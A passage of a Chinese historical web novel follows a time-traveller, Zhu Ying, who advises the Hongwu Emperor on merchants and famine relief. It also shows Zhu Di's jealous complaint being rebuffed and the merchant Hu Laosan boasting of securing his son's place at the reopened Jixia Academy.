正如老朱所说的,大明,哦不,不仅仅是大明,应该说是几乎所有的古代封建王朝,所有的王朝都是以小农经济为主体,以农业为主体。 而以此为主体的社会结构也就导致了生产力低下,抗风险能力不足。 提升生产力并非是短时间内能够完成的,生产力提升的前提是原始资本的积累,尤其是现在连技术都没有的情况下,想要提升生产力,几乎不可能! 而想要提升技术....那就需要投入大量的人力物力财力,无论是在哪个时代,提升技术,搞科研,那都是一个费钱的无底洞。 想要靠着小农经济积累下来的些许微薄的财富来进行技术改革,这无异于痴人说梦。 后世的技术大爆炸时代在工业革命时期,而为什么这个时期会产生技术大爆炸?其根本原因在于最开始进入工业革命时期的一批国家完成了原始资本的积累,而他们完成原始资本积累的手段是掠夺! 掠夺永远是这世界上最赚钱的生意,因为他是无本买卖,无本万利的玩意儿! 资本的第一桶金是血腥的,但也正是因为血腥累积的资本才让他们有了技术革新的基础。 一个传承千年的国家,可能就因为一场战争被掠夺搜刮殆尽,这是何等庞大的财富? 也只能是这些没有成本的财富才能不要钱似的扔进技术革新里,引爆了整个工业革命的浪潮..... 而这一切,与眼下的大明无关。 朱煐第一次惊叹于老朱的见解。 原来在大明重农抑商的基础色调下,蕴藏的是老朱个人对这个时代的思考!而最为关键的是,这思考是正确的! 民以食为天,粮食就是根本,粮食就是一切!老朱的担心不无道理,倘若人人都向往当商贾,那就将会无人劳作,种粮食的人少了,自然就会导致粮食短缺,粮食价格飙升,而紧接着就是社会动荡.... 倘若是再碰上一些灾年,那后果.....当真不堪设想! ....... 金钱的力量太大了。 哪怕是后世,以经济建设为中心后,整个社会的风气在不知不觉中出现了变化,若干年后,大家也越来越漂浮,脚踏实地的人少了,愤世嫉俗的人显著增多,无数人做着不切实际的美梦.... 后世尚且如此,何况如今的大明? 朱煐意识到了自己想法的盲区,想法的问题所在。 而显然,老朱看出了自己想法的问题所在..... 不过..... 这关我屁事? 朱煐有些惊叹于老朱这超出时代的眼光,甚至于站在后世肩膀上的自己也有所不如。可....这和自己有什么关系? 等完成了任务,管他大明洪水滔天? 天下大势分久必合合久必分,朱煐并不认为以自己一己之力能够改变事物发展的规律。 除非生产力大幅度提升,否则眼下的经济产业结构下,无论进行什么手段改革,最终都会因为土地兼并亦或是天灾不断而改朝换代。 要是没记错的话整个大明的时期被誉为小冰河时期,天灾不断,最终导致全国的粮食短缺,再加上数百年下来制度和人员的腐朽,导致了大明的灭亡。 大明的灭亡是必然的。 朱煐可不觉得自己能够在这明初做出某些事情,对后世产生影响,给大明延寿多少年,咱是普通人,咱做不到。 咱现在唯一能做的就是赶紧把盘子高大些,然后多从商贾手里弄些银子,引起老朱的怀疑,让老朱盛怒之下咔嚓了自己。 完成任务,走向功德圆满的巅峰人生!~ 至于其他..... 咱能够凑钱给湖广百姓吃上口热乎饭,这就已经是力所能及,功德无量了。 “陛下高见,这粮食确实是重要。” 朱煐由衷地给老朱竖了个大拇指。 “不过臣以为,商贾也同样重要,商贾的作用就在于将各地的资源平衡调配。” “商贾也同样重要。” “资源平衡调配?”老朱一愣:“此言何意?” 朱煐笑道:“其实很好理解,臣打一个比方,就拿京城和湖广两地来打比方。” “眼下京城并不缺粮,因此粮食价格必然是远低于湖广,湖广遭灾,是以眼下湖广的粮价远高于京城。” “不错。”老朱点头。 朱煐继续道:“既然如此,那这其中是不是就有利可图?商贾要是从京城弄一批粮食运到湖广,他们是不是就能从中赚取一笔?” “这便是商贾可恨之处,湖广遭灾,百姓流离失所,他们还要赚上一笔!”老朱有些愤懑。 “那陛下不妨换个角度看看。” “换个角度?” 老朱有些讶异地看向朱煐.... 朱煐点了点头:“倘若运粮的商贾多了,那这湖广的粮价是不是也就下去了?” “即便是粮食少,若是在此时,陛下下令,规定一个价格区间,让商贾有的赚,却又让他们无法随意提价,如此一来,这些商贾岂不是为我所用?” 朱煐笑道:“臣儿时领居家有个老爷爷说过,这不管你是黑猫白猫,能抓耗子的,那就是好猫,陛下以为如何?” “不管黑猫白猫...能抓耗子的就是好猫....?” 老朱喃喃自语,而后眼前不由得一亮,一拍脑门:“是咱想岔了!” “商贾自有用处,只是咱一心就想着压制商贾了,倒是未曾想到过用他们。” “陛下小觑商贾,是以忽略了商贾之力。臣以为,这天下百工,皆有其用,凡是过犹不及,中庸为上。” 朱煐言语间充满了教导的意味。 倘若这御书房里有外人在这里,就看着朱煐这幅架势,定然被吓得不轻。 这特么的谁敢用这语气同当今陛下,堂堂的洪武大帝这般说话? 这不是找死吗? 教导陛下? 你脸可真大! 可此刻的老朱,脸上却看不到半点羞恼,反而是一脸欣慰地看着朱煐。 “不愧是咱孙啊,咱都想不到的,咱孙这般年轻就能想通了。” “日后这要是稍加培养,那还了得?” “不成,得给咱大孙加加担子,眼下这担子还是太轻了。” 老朱心里寻思着,计较着..... 他的嘴角微微上扬,露出一抹笑意..... “朱爱卿。” “啊?” 侃侃而谈的朱煐被老朱忽然点名不由得有些猝不及防,抬头愕然地看着老朱..... “今日一叙,咱方才知晓朱爱卿你这对商贾一道的看法还当真与旁人不同,也唯有这般与众不同的看法才能有如此信心在朝中接下那般重担。” “你很好!” “咱仔细寻思了一阵,这尺有所长寸有所短,咱就不适合同商贾打交道,这和商贾打交道的事儿还是交给朱爱卿你比较合适。” “咱已经将咱的想法告诉你了,你说的有句话很好,凡是过犹不及,当取中庸之数....不过这中庸之数如何取,这是一门学问,咱准备让你来把控,你可有信心?” 老朱笑眯眯地看着朱煐..... 朱煐闻言先是一愣,旋即就是眼前一亮,放起了精光! 这是给自己放权了? 这感情好啊! 这不给自己放权,怎么闹出大动静? 想到这,朱煐激动道:“臣必不辜负陛下所托!陛下放心,臣心中已有定计!” ....... 御书房里,爷孙各怀心思。 而与此同时。 燕王府中,朱棣得到了朱煐带着一大票人入宫的第一手消息。 “一日之内,入宫见父皇三次?” “这朱煐他娘的是父皇私生子不成?” “以父皇的脾气,他便不恼吗?” 朱棣瞪大了眼睛,满脸的不可思议..... 第74章 老四,你不行你就闭嘴! “父皇这年纪大了,脾气也转好了?” 朱棣甚至开始怀疑起了自己心中老朱的固有印象,可转念一想。 不对啊,倘若真的脾气好了,那自己这蹲大牢蹲这几天是蹲了个什么玩意儿? 这老登还是那个臭脾气,可这....是怎么个情况? “事出反常必有妖!” “不成,本王得入宫瞧瞧!” 朱棣起身,告知了道衍和尚一声后也没有带人,火急火燎地就自己往宫里赶.... 之所不不带人,不是朱棣不想带,而是他不敢带。这皇宫哪里是能带人随意出入的地儿? 真当老朱好脾气啊,朱棣可不认为自己有朱煐这两下子.... 以前私自带人入宫惹了麻烦事,被老朱一顿痛批,还被打了板子,即便是这么多年过去了,朱棣依旧记忆犹新。 这也是为什么朱棣在收到朱煐一日之内入宫三次,还带着一大票人的这个消息之后如此震惊的原因所在! 这双标也太明显了吧? ...... 朱棣自己入宫倒是不麻烦,身为老朱亲儿子的他自然是有随意出入宫门的资格的。 朱棣径直就来到了御书房..... 御书房外,蒋瓛正在亲自值守,四周站着几个宫中侍卫。 看到朱棣,蒋瓛便上前拜见。 “见过燕王殿下,不是殿下何来?” “本王要求见父皇。” 朱棣这会儿的心情可不好,不过他强行压着自己的脾气。他心里明白,自己能在任何人面前耍脾气,可要是在自家老头子面前耍脾气的话,那下场将会惨不忍睹..... 蒋瓛没有问原因,只是看了朱棣一眼后便躬身入内通禀去了。 作为下属,少说少问就少错,蒋瓛常伴老朱左右,自然是深谙此道..... ..... 蒋瓛推门而入。 老朱这会儿正在御书房里批阅奏章。 朱煐等人刚走,老朱继续自己忙碌又枯燥的工作。 像这样的批文工作他已经干了整整二十几年,可依旧乐此不疲。 想到大明,想到自己拼出来的江山,想到后世子孙,老朱的心里就充满了干劲..... 从某种意义上来说,老朱也算的上是传统的中氏父母。 社会在改变,时代在更迭,可人的思想受文化的影响,想要从根本上改变是困难的,在后人身上你总能或多或少地看到许许多多前人的影子..... 老朱这一辈子操心自家的家业,也就是大明江山,他不光操心,还操心儿子,望子成龙,想把儿子培养到自己所要求的完美。 不仅如此,他还在为后代操心,在为朱家子孙操心,希望大明能够世世代代传承,希望朱家子孙能够人人都吃饱饭,丰衣足食。 他要操心的事太多了,就像是一个劳碌的大家长,只是相较于后世的父母而言,老朱这个大家长管理的家更大一些罢了,但事实上行为的实质是一样的..... “陛下,燕王殿下求见。” 听到蒋瓛的话老朱抬起了头:“老四来了?他来做什么?” “让他进来。” “是。” ...... 御书房里。 老朱放下了朱笔看向朱棣。 “说吧,来找咱什么事?” 老朱深知自己这儿子的性子,无事不登三宝殿,既然来了,指定是有事的。 “父皇,儿臣听闻朱御史今日三次入宫?” “如此打扰父皇理政,实在不像话!” 朱棣一脸的愤慨。 老朱只是淡淡地扫了朱棣一眼。 自己生的种,从小养到大的崽子,朱棣刚开口老朱就已经知道了这家伙要放什么屁。 “然后呢?” “说完了吗?” “说完了就回去吧,朱爱卿打扰没打扰咱咱不知道,你是打扰到咱了。” 老朱平静的语气却让朱棣脸色十分难看。 他脸色涨红,下意识就像骂娘。 这要是在北平府,这要当面的不是亲爹,以朱棣的脾气,早就已经勃然大怒。 可面对亲爹,面对老朱,朱棣没有半点办法..... 他娘的,这不是纯纯的双标吗? 哦,那朱煐一天之内三次入宫,就没打扰到,我这亲儿子就入宫找一次,就打扰到你了? 朱棣张了张嘴却又什么话也没有说出来。 他明白,这话要是真说出口了,那后果可就严重了.... 现在只是被挤兑两句,这要是说了,或许就得挨板子了..... 想到从小被执行的家法,朱棣就感觉屁股隐隐发麻..... 肌肉记忆可不是闹的..... 可要是就这么走....没有脸面不说,这心里也不平衡啊.... ...... 朱棣站在原地,一动不动。 老朱见朱棣不动弹,眉头皱了皱:“怎么?还有事吗?” 听着老朱语气中的冷淡,朱棣的心里更难受了。 父皇,我特么的才是您的儿子啊! 我才是您的亲儿子啊! 那小子谁啊?怎么就这么受宠? 朱棣吃醋了....这双标简直太明显了!让他郁闷..... 不过朱棣也不是寻常人,面对老朱生硬类似于质问的问话,他深知不能在这个时候和老朱正面硬刚,脑子一转,面色一正道:“启禀父皇,儿臣有本奏!” “哦。有本奏?所为何事?你说说吧。” 老朱扫了一眼朱棣,不冷不淡地回了句。 有本奏? 咱还看不出来你小子想的是什么? 有本奏就奇怪了! 朱棣也不管老朱的态度,一脸正色道:“启禀父皇,昨日朱御史在朝上大放厥词,大包大揽,应下了湖广钱粮筹集一事,可儿臣以为,此举不过是不自量力,不知天高地厚,如那井底之蛙,不见天之大。” “商贾何其狡诈?父皇想必也是知道的,这些商贾素来一毛不拔,朱御史他异想天开想要从商贾的手里弄到钱粮,这如何可能?” “儿臣以为,朝廷不该拿湖广百姓的性命陪朱御史玩这么个打赌游戏,倘若当真湖广之地灾民因此而亡,朱御史如何能负起这个责任?” “儿臣在府中越想越是觉着此事不妥,还需早做准备才是。” “这朱煐大放厥词以至朝廷眼下陷入如此被动之境地,儿臣请父皇严惩此人!” 朱棣说的义正言辞,慷慨激昂,心中暗喜自己的机智..... 直接喷老头子指定不行,直接喷朱煐这厮,这厮也不知道给老爷子下了什么迷魂药,估摸着直接喷也得挨一顿训,可借题发挥,曲线救国,围魏救赵,这就万无一失了。 这小子终究还是年轻啊。 想从商贾的手里弄到足够湖广赈灾的钱粮?这脑子是怎么想的?还是少了经验。 正好,自己借着对方的这个漏洞,抓住漏洞猛攻。 越想朱棣越觉得自己高明,如此计策只是在这一问一答的问询之间,如此短暂的时间里就想出来了,朱棣想想都不由得有些佩服起了自己..... ...... 然而朱棣此言一出,整个御书房却陷入了一片死寂..... 朱棣预料中老朱皱眉亦或是老朱开口为朱煐争辩的场面似乎并没有出现..... 是的,在问出这个问题的时候朱棣心中就已经做好了下一步的定计,在他的料想中,自己说出这番话后,老爷子无非是两种反应,第一个反应就是老头子对朱煐不瞒,如此的话自己只需要顺水推舟给推上一手就好。 而第二种反应则是老爷子被朱煐这小子蛊惑太深,所以开口为其争辩,而此时,自己站在道德制高点,所谓有理走遍天下,老头子不占理,那自己就能据理力争,最终让其不得不对朱煐这厮进行惩处..... 可偏偏,朱棣发现在自己说完这番话之后,这御书房里的气氛变得有些古怪,既没有料想中的对朱煐不瞒,也没有料想中的老头子给朱煐辩解,反倒是陷入了沉默,整个御书房陷入了一片寂静..... 良久.... 老朱没有开口,反倒是一旁的蒋瓛收到了老朱的眼神示意,凑到朱棣的身边小声道:“王爷,这湖广钱粮筹措一事,朱御史他已经解决了。” 朱棣闻言,整个人都是一怔..... 他的眼睛猛地瞪大,瞪大了眼睛呆愣愣地站在原地.... 朱棣怀疑自己的耳朵出了毛病.... 什....什么玩意儿? 幻听了? 朱棣不可思议地抬头看向蒋瓛:“解....解决了?” 蒋瓛点了点头:“是的王爷,湖广之事已经被朱御史给解决了,朱御史筹措到了足够的钱粮。” 听到了蒋瓛再次肯定的回答,朱棣嗡的一下整个脑子都懵了..... “不可能!” “这如何可能?” “父皇,你就算看好朱御史,可你又何必说出这种话来诓骗儿臣?儿臣又不是三岁孩童!” 朱棣猛地看向老朱,一直在忍耐的他再也忍不住了。 老头子偏心太明显了!这样的家国大事,为了一个小子,也能编出谎话拿来忽悠自己? “咱诓骗你?” “老四,你不行不代表人家朱御史不行。你筹措不到钱粮不代表人家筹措不到。咱只能和你说,蒋瓛所言句句属实,湖广赈灾钱粮之忧已解,而解决的人就是朱御史。” “好了,咱还要批阅奏章,一天天的什么事情都被你给耽搁了。要只是这事的话就退下吧,今日咱心情好就不追究你这污蔑朱御史之事了,日后自己记着些,须知这人外有人天外有天,别当那坐井观天的蛤蟆,多像人家朱御史学学。人家多大年纪,为什么就这么优秀?你都多大年纪了?还让咱这么不省心。都是姓朱的,这差距咋就这么大?” 老朱不耐烦地冲朱棣挥了挥手.....而后不再搭理朱棣,自顾自地拿起手中的朱笔继续批阅起了奏章..... ...... “王爷,请?” 蒋瓛走到朱棣身边做出了个请的手势。 朱棣的脸色青一阵红一阵的,他站在原地盯着老朱,可这会儿的老朱已经低下头开始批阅奏章,压根就懒得看朱棣一眼..... 这样的场面朱棣从小到大经历了不知道多少次了。 老头子从来就没有认可过自己! 或者说,除了大哥之外,其他的儿子都没有被老头子给认可过。 朱棣气的胸口起伏不断,可面对老朱他却又没有丝毫的办法..... 站在原地站了半天之后,朱棣才气哼哼地回了句:“儿臣告退。” 而后,朱棣转身离去..... ...... 朱棣走出御书房,蒋瓛在后面小心翼翼地关上了御书房的房门.... 朱棣站在御书房门口往御书房看,而后又看向了蒋瓛...... “朱煐这小子究竟给父皇他下了什么迷魂药?值得父皇给他撒这谎?” 朱棣不忿。 湖广灾情,这可是真正的国家大事,一个皇帝,一言九鼎,拿灾情开玩笑?置百姓性命于不顾?这要是其他的皇帝也就罢了,可朱棣了解老朱,老朱最看重的就是大明的百姓。他想不明白,凭什么,凭什么老朱为了一个小小御史,会撒个这么大的谎! 难不成朱煐这小子真是父皇的私生子不成吗? 不,就算是私生子也不可能啊!朱棣自认,哪怕是自己大放厥词接了这任务,真要是完不成在老朱手里也绝对会吃不了兜着走,更别提什么帮自己遮掩一二了,这压根就是不可能的! 这朱煐就算真是私生子,这私生子难不成还能比得上自己这个亲儿子不成吗? 凭什么!这小子凭什么? 朱棣嫉妒了.... 好像每次自己和这小子碰上在亲爹这儿就碰壁,之前当街纵马也就罢了,那确实是自己理亏在先,就算是蹲大牢,那也只能说是老爹秉公执法,只怪自己被朱煐这丫的抓住了小辫子.....可这一次.... 这特么的是凭什么? 第75章 春风得意胡老板 朱棣被蒋瓛一顿冷嘲热讽,脸色青一阵紫一阵的。 可他依旧没有拂袖而去,而是有些不可置信地看向蒋瓛:“父皇说的,都是真的?” 他不敢相信,主要是这听到的事情太过于惊世骇俗,不可思议。 那些个商贾,哪个不是精明人?哪个不是一毛不拔的主儿? 真要是能够轻而易举地从商贾身上拿到钱,哦不,都不用轻而易举,只要是能够从商贾手里用任何手段能够搜刮到钱,让他们主动把钱送出来,那朝中的人早就已经用了这个办法,哪里还能轮到朱煐? 这湖广的灾情虽然大,可要放眼整个洪武朝,哪年没有个大灾小灾的?每年几个小灾情,三年一个大灾情,这也算是常有的事,真要是那么容易能从商贾手里弄到钱,早就有人出手了! 之所以大家都觉得商贾一毛不拔,从商贾的手里弄不到钱,是因为满朝诸公不想弄吗?是老朱这个皇帝不想弄吗? 不。 是真的弄不到啊! 哪怕是你把商贾杀头了,他埋藏宝贝的地方都不会吐露,狡兔三窟,尤其是这些商贾,甚至你把他抄家了也不一定能够获得全部的财富,明处一个家,这暗处还不知道养了多少个家呢。 正是因为从商贾手里大家都试过了,弄不到钱,所以大家才会公认这条路行不通,这些商贾一毛不拔! 可现在,自己听到了什么? 也不怪朱棣此刻震惊。 别说是他,换成但凡任何一个其他人,猛地听闻这么个消息,也不可能平静! 蒋瓛白了朱棣一眼:“王爷,陛下说了您都不信,您问我?” “既然王爷诚心发问,那下官就给王爷你交个实在底,陛下所言句句属实,朱御史是有本事的,一日之间弄到了三十六万两银子,而且此番商贾总共能捐钱粮怕是会过百万不止!王爷,这人外有人,天外有天,您的话下官也还给您,还请王爷莫要再坐井观天了,朱御史之能,非常人所能及!” 蒋瓛有些傲然道。 他倒是没有资格在朱老四面前傲气,可他傲的并非是自己,而是自己跟的头儿! 蒋瓛早就已经把自己看成了半个朱煐的手下,如此情境下,朱棣小觑朱煐,对其不屑的言语,在蒋瓛听来自然也就不爽了..... 而这会儿的朱棣已经几乎听不到蒋瓛在说什么话了,在蒋瓛彻底再次肯定了老朱所说的话的真实性之后,朱棣整个人当即就感觉大脑嗡的一下,一片空白,整个人呆立当场,彻底怔在了原地..... 一日之间弄到了三十六万两? 商贾还要捐赠整整上百万两? 不是,这些个商贾都怎么了? 这个世界怎么了? 都疯了吗? 都成了疯子?都在针对我? 朱棣一时之间感觉人麻了..... ...... 朱棣有些失魂落魄的往着宫外走,他甚至都忘了和蒋瓛打招呼,蒋瓛说的这话给朱棣的震撼和打击太大了。 他素来就是一个自负的人,可现在眼前这件事儿,哪怕是知道了结果,被老朱告知了结果,他也依旧想不明白朱煐这到底是怎么做到的,这才短短一天!一天时间啊! 一天时间从那些一毛不拔的商贾手里拿出来了整整三十六万两? 这是怎么做到的? 朱棣不理解,他想不通,也正是因为不理解,想不通,他才如此地失落....因为这对于朱棣而言,是对他自信心的巨大打击! 看着失魂落魄走了的朱棣,蒋瓛看着朱棣的背影。暗暗地唾了一口。 呸! 难怪秦王殿下说燕王阴险狡诈呢,这独自一人来找陛下告朱御史的刁状,幸好朱御史实力够硬...... 蒋瓛心中喃喃自语,他早就已经默默地在心里把朱棣列入到了敌人的范畴。 老朱的话都已经说的不能再明显了,而且还说了很多次,日后自己就是要留给长孙殿下的。 要是长孙殿下不要自己,那就得被陛下给带走殉葬了,自然,俺老蒋是不会怕死的,只是单纯地想要辅佐殿下,为大明再尽忠职守个几年,让天下承平,这是咱锦衣卫的指责嘛! 朱御史有句话说的好,天下兴亡,匹夫有责啊! ....... 与此同时,另一边。 朱煐几人告别老朱出宫之后,胡老三向几人告别,说是要先回去告诉其他商贾这么个好消息。 朱煐自然是巴不得,老胡带去的不是好消息,那是白花花的钱入账啊..... 朱雀大街东边的一座大院子里。 要是有行商做买卖做的比较大的,定然会认识在这院子里此刻心不在焉,各个紧张坐立难安,来回踱步的这些个在商贾圈子里赫赫有名的商贾。 这些商贾都是从千千万万个商贾里靠着自己或者靠着手段走出来的,各个家财万贯,其中甚至有不少个商贾就连胡老三也得自叹不如...... 胡老三告别了朱煐等人之后,先是修书一封给家里,让人赶紧送去,让自家的长子胡德禄入京,胡老三虽然常年在京城,但儿子并不在京城,这也是为了狡兔三窟,对于商贾而言,京城太过于危险,尤其是对于后代而言更是如此。 这京城里达官贵人无数,而这些达官贵人之间又是盘枝错节,你不知道什么时候在路上惹到的一个人,他可能就有着和朝中某位大人的关系,不说是通天关系,只要是和朝中的官员牵扯上一些关系,这对于商贾之家而言可能就是巨大的损失,要么花钱消灾,要么就是被人针对。 这样的事情不是一件两件,而是十分常见,也正是因为这个缘故,一般而言商贾的子嗣一般不会定居京城。 一个是不想让二代在京城得罪上得罪不起的人,第二个也是狡兔三窟,担心哪一天自己这只肥羊被朝中的大人物盯上,哪怕自己真的死了,好歹也能留些血脉在外...... 京城虽然赚钱,可这风险也高,身怀巨款的商贾就是一只只肥羊,任谁都想来找麻烦,都想来咬上一口! 这也就是为什么商贾们各个哪怕是有钱也不敢露富的原因。 你不露富硬扛,说不定还能侥幸过关,而你要是露富,哪怕是真的侥幸没死,之后要遇到人的刁难,遇到明里暗里的讨要,遇到的以权压人,以势压人,这往后也是扛不下去的..... 而在让人修书一封快速往城外的儿子送的同时,胡老三走向了朱雀大街东边的那座汇聚满其他京城赫赫有名的大商贾的小院..... 小院里,这些个商贾坐立难安,每个人都在等待。 他们等待的自然是代表所有京城的大商贾前去找朱煐验证消息真伪的胡老三..... “你们说....胡老板他不会是出事了吧?” 突如其来的一句话,让小院里原本就比较紧张的气氛瞬间一滞..... 随着这句话,不少商贾的脸上都是唰的一下变得惨白。 “不....不会吧?” 有人不敢相信。 “怎么不会?按照时间这会儿都什么时辰了?哪怕是朱御史留胡老板在府上用饭也给吃完了才是,可现在胡老板还没有回来,这不是出事了还能是什么?” 原先开口的那人越想越是觉得自己猜想的对,随着自己的分析,脸色越发白了.... “胡老板毕竟是带了那么多银子上门,朱御史该不会这么不讲究才是,不是都说他性情耿直,刚正不阿吗?” “刚正不阿?不是,老张,这话你也信?朝中的达官显贵你我又不是没有接触过,那御史台的,一个个都说自己刚正不阿,哪个不是鼻孔朝天不把我们当人看?” “我看这朱御史就是表面一套背后一套,名声在外可净做一些背地里见不得人的事儿,我看这坏菜就坏在了胡老板带钱上门!” “老李你的意思是.....?” “我的意思?我能有什么意思?这么些年了,但凡是钱财外漏的商贾,有几个有好下场的?我看胡老板这回也是悬咯.....” “.......” 随着一声声议论,逐渐倾向于胡老三出事的声音越来越大。 和朝廷官员觉得商贾不行,一毛不拔一样,商贾也视朝廷官员如同蛇蝎,避之不及。 几个商贾议论着,谈论谈论就不由谈到了几年前的大屠杀事件...... 几年前也是发了水患,朝廷也是钱粮不够,于是朝廷就发动官员捐钱,商贾捐钱粮,老朱还写了亲笔信,拿回商贾总共捐了几万两,老朱得知之后勃然大怒,直接杀了领头的商贾,还有几个商贾,抄家得了百万两的白银! 这件事放在朝廷里,那就是商贾一毛不拔的案例典范,可放到商贾这儿,那就是朝廷官员危险的代名词..... 角度不同,同一件事情对双方造成的影响也是全然不同...... “都说了让胡老板低调些,他非不听,唉,这下该如何是好啊?” “老张,你这话就有失偏颇了吧?胡老板他这不也是为我们去打头阵的吗?” “是啊老张,胡老板就算是出事了,我们也不至于落井下石吧?我等虽是商贾,却也该有信义。” “嘿,我可没这么想啊,我就是随便吐槽两句,胡老板是为什么办事出的事,我老张念着他的情呢。” “.......” 小院里,几乎吵翻了天,商贾们沉寂了许久,就像是被压抑了好一阵的水库忽然开闸,每个人都在喋喋不休,似乎只有这样才能稍稍宽慰一些心中的紧张和不安..... ........ 就在大家都在议论着这会儿胡老三的动态的时候..... “咚咚咚.....” 急促的敲门声响彻了整个小院..... “谁?” 急促且响亮的敲门声让所有人瞬间安静下来,这会儿的商贾们宛若惊弓之鸟,有半点动静就能引起所有人的惊觉和警惕..... “格老子的!这大白天的锁什么大门啊!给老子开开门啊!” “喂喂喂!!!!” 门外,胡老三的声音传入..... 在场的商贾全都是一冷,不少人都是一脸懵逼,在刚刚大家的议论和讨论中,胡老三这会儿十有八九是出事了,可现在.... 在短暂的愣神之后,终于有人反应过来,赶忙去开了门。 一开门,大家就看到了气喘吁吁满头大汗的胡老三,大家不自觉地往胡老三身后张望,发现没有人之后方才松了口气..... “老胡,你没出事啊?太好了!” “是啊老胡,我们还以为都见不到你了呢!” “.......” 周遭的商贾都在京城做买卖,还都是大商贾,相互之间自然也算是有过不少的交集,尤其是胡老三,对人对事都厚道,在商贾里的口碑算是很不错的。 而听着周围闹闹哄哄的嗡嗡嗡的一番话,胡老三整个人都懵了..... 不是,我出事? 我出什么事了? 胡老三听了好半天才听明白了大家说的言外之意..... 很快,大家热议了一阵后,目光不约而同地齐刷刷地落在了胡老三的身上...... “老胡,你现在回来的意思是....?” 原先大家以为胡老三已经出事了,既然是出事了,那自然是万事皆休,大事不妙,这所谓的稷下学宫重开要招收商贾的消息怕也是个假消息..... 可现在,胡老三完好无损地回来了,那么这是意味着......? 想到这,大家的目光全都汇聚到胡老三一个人的身上,眼神中充满了希奕,可却又害怕失望..... “哈哈哈哈哈!” 看着周围这些个往日里泰山崩于前而面色不变的京城大商贾在这会儿的紧张表情,胡老三不由大笑。 当然,他不是笑这些商贾,而是发自内心地大笑,为自己高兴! 还得是咱老胡啊!可太有先见之明了,这会儿大家都还一无所知呢,咱老胡已经拿下了入稷下学宫的第一个名额,还受到了陛下的亲自召见! 这可不是每个人都能有的荣耀! 想到这,胡老三忍不住大笑的同时又高高昂起了脑袋...... 咱老胡,就是有魄力! 就是有决断力! 英明神武,不外如是! 胡老三心中将所能想到的溢美之词全都一股脑儿地用到了自己的身上,他觉得今天自己咬牙顶着莫大的风险去见朱御史,就是自己这辈子最明智的决策! 看着胡老三忽然的大笑,整个小院瞬间安静下来..... 在场的商贾面面相觑,同时有不少人已经瞪大了眼睛。 “不是,老胡,你这意思是....?” “该不会是成了吧?” “我靠!那什么稷下学宫,难不成真招我们商贾的孩子?” “胡老板,你说话啊!” “.......” 在场的商贾哪一个不是察言观色的顶级选手?光是看胡老三的这个反应就已经隐约意识到了什么,只是他们并不确定,这样的大事情没有胡老三亲口确定大家依旧不放心,因此哪怕一个个都隐约已经意识到了什么,可眼睛依旧直勾勾地盯着胡老三...... “哈哈哈哈哈哈!” 胡老三又是一阵大笑,然后在所有人的注视下,缓缓地点了点头..... “不错,你们猜的不错,这消息是真的!” “朱御史朱大人要重开稷下学宫,而且确确实实有让我们商贾家子弟入学宫的想法!” “嘿嘿....也不瞒诸位,俺老胡也算是近水楼台先得月了,这稷下学宫招收的第一名学子,就是不才胡某犬子,胡德禄!” 第76章 疯狂!简直太疯狂了! 胡老三可算是得意了。此前离开这里去单独照朱煐的时候,他的内心是忐忑的,而其他人的心里也是各有心思,其中有不少商贾更是对胡老三此行并不看好,只是想着并非自己前去试探,并无损失,无非丢些许的银子。怀着这种想法的商贾不在少数。 胡老三是所有商贾的问路石,小白鼠,这一点胡老三自己也清楚,不过他也是在深思熟虑之后才做出的选择,风险越大,收益越大! 此行拼的就是眼界,就是格局,就是胆魄,还有运道! 这会儿的胡老三重新回来有种扬眉吐气的感觉。 因为他赢了! 说明自己并没有看错,赌对了! 风浪越大鱼越贵! 而冒着这顶头的风险,此行自己的收获也是大的惊人! 不光打探清楚了稷下学宫重开招收商贾家子弟一事的真假,还直接拿下了其中第一个名额! 要知道这可不是寻常的学堂,从朱煐等人言谈间的只言片语中胡老三了解到了不少有关这稷下学宫的讯息,而这些讯息更是让他更进一步确定了自己今日冒险之举的英明神武! 谁能想到,这稷下学宫的祭酒是当今陛下? 谁能想到这堂堂秦王,晋王,只能当稷下学宫的副祭酒? 还有凉国公,他大概率就是稷下学宫的博士之一了,负责教授兵法书册! 其他人员暂且未知,可光是这几个已经知晓的人物阵容就已经是过于逆天了!此事一旦真正公开,那必然就是石破天惊! 自己的大儿子胡德禄入学之后,能不能学到本事姑且不论,光是这师生关系,就足以让儿子的地位得到飞跃! 而这一切,只花了区区三十万两! 三十万两多吗? 自然是多的,这几乎已经是胡老三手里能够在不影响生意正常运转的情况下能够筹集出来的所有资金了,这还要抵押上不少的房契地契。 可这些钱,胡老三觉得花的太值了! 三十万两,能够和两位王爷,一位国公,还有当今陛下扯上关系?还是师生关系? 这简直赚大发了! 钱没了可以再赚,人生改命的机会,或许几代人乃至十几代人中都只能遇到一次! 胡老三自认一生见过太多的风风雨雨,经历过太多的风浪,他做过的买卖,经过他手做的生意,不知凡几,可眼下胡老三觉得,今天自己做的这笔买卖,就是自己这辈子做的最成功的买卖! 胆魄,格局,出手的果断,稍稍差一点点都不行,都做不到! 想到刚刚还在宫中被当今陛下和蔼可亲地礼遇,私下在御书房接见,胡老三更是莫名激动! 而且陛下还给了圣旨作为入学邀请,这这等荣耀,这是整个老胡家上至祖宗十八代,下至子孙十八代的无上荣耀! 胡老三的得意并没有任何的遮掩,但凡是个眼睛不瞎的人都能清楚看到。而看到他的这表情,其他商贾自然也都有了想法,纷纷开口询问。 胡老三也不卖关子,当即将所发生的事情一五一十给说了一遍,引得人群里阵阵惊呼..... 一来这给的三十六万两银子里六万两也是这些商贾同行凑的,也该有应有的知情权。 当然,这只是捎带的,更重要的还是胡老三想要分享一下这会儿心里的喜悦。 人生在世不装逼,那活着还有什么意思? 出门前我胡老三和你们一样都是普通商贾,回来之后,我胡老三已经是稷下学宫学子胡德禄他爹,是在私下受到过大明开国皇帝,当今陛下亲自接见的爱国商人!是和秦王殿下,凉国公在一间房间里侃侃而谈过,受到他们认可的对大明有贡献的商贾! 我胡老三,已经不再是昨天的胡老三了! ...... 而随着胡老三将今天所经历的事情一桩桩一件件事无巨细地表露之后,小院里的商贾们从最开始的惊叹,到最后,鸦雀无声!根本没有任何的声音!所有人都已然惊呆了! 听着胡老三这一天在外的经历,就像是听天书一样。 不是,这朱御史,有这般强硬的人脉?有这本事?受陛下这般恩宠? 既然是找朱煐打探消息,那自然商贾们也对其进行过一些调查,一些表面上的资料都是知道的,比如朱煐是本届科举的考生,考入朝堂之后常有惊人之举,与朝中不少大臣都有强烈的矛盾冲突,甚至殿试当天还被陛下给直接打入了大牢,不过此后扶摇直上受到了陛下的信赖,成了御史台的一名御史。 可....这特么的陛下也太信赖了吧? 